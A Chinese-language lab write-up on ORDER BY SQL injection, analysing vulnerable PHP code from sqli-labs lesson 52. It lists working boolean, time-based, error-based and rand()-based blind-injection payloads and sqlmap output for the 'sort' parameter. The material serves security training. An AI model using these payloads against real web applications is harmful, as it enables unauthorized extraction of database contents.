漏洞分析
使用sqli-lab中的lesson-52作为测试目标。关键代码为:
error_reporting(0);
$id=$_GET['sort'];
if(isset($id)) { //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'SORT:'.$id."\n"); fclose($fp); $sql="SELECT * FROM users ORDER BY $id"; /* execute multi query */ if (mysqli_multi_query($con1, $sql)) {
可以通过asc 和desc查看返回数据是否相同来简单判断是否存在orderby注入。
利用方式:
mysql 5中 select order by的语法如下:
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROM table_references [WHERE where_condition] [GROUP BY {col_name | expr | position} [ASC | DESC], ... [WITH ROLLUP]] [HAVING where_condition] [ORDER BY {col_name | expr | position} [ASC | DESC], ...] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] [INTO OUTFILE 'file_name' export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]] [FOR UPDATE | LOCK IN SHARE MODE]]
order by后面可以加字段名,表达式和字段的位置,字段的位置需要是整数型。由于order by 后面不可以跟union。
比如:
select id ,rand(0) from requests order by rand() union select 1
会报错,Incorrect usage of UNION and ORDER BY
所以通常的利用都是使用了一些技巧。
盲注:
需要知道字段名
1,使用 if(1<2,id,domain)或者类似的表达式来布尔盲注或者时间盲注。
(select case when (true) then id else price end) if((selectchar(substring(table_name,1,1)) from information_schema.tables limit 1)<=128),id,price)
条件判断之后选择的字段名,id,domain,不能是1,2,所以一定要知道字段名。猜测是写1,2的话被判断为字符了。
1,基于表达式结果盲注
案例:http://www.wooyun.org/bugs/wooyun-2010-07406
不过以上的这些技巧都需要一些条件,目前看来order by注入跟where条件注入具有同样的布尔盲注和时间注入的方式,利用方式也比较成熟。所以这些技巧只能用来开阔思路了。
成熟的利用方式
基于order by 1,2 时间盲注: payload:
asc,if(locate(\''+payload+'\',substring(user(),'+str(i)+',1)),sleep(3),1)
基于order by 1,2 引起mysql错误进行盲注
payload:
id,if(1=1,1,(select 1 from information_schema.tables))
当条件为false是,值为select 1 from information_schema.tables,mysql会报错,Subquery returns more than 1 row,导致查询结果为空。
案例:http://www.wooyun.org/bugs/wooyun-2010-076151
基于 order by rand(true);order by rand(false);返回不同进行盲注 payload:rand(ascii(mid(database(),1,1))=109)
案例:http://www.wooyun.org/bugs/wooyun-2010-0152570
关于order by rand(true)和order by rand(false)返回不同的培训原理是 order by rand()会随机给每个数据生成一个随机数,然后按照随机数培训,true和false实际上转成了整形的1和0作为rand()的种子,这样给每一列都会成一个固定的数,然后根据这个数来排序,所以结果会不同。
参考这里的讨论:http://zone.wooyun.org/content/25733
sqlmap利用方式
使用level5 risk3
Parameter: sort (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: sort=1 RLIKE (SELECT (CASE WHEN (9644=9644) THEN 1 ELSE 0x28 END)) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: sort=1 AND (SELECT * FROM (SELECT(SLEEP(5)))MVan) ---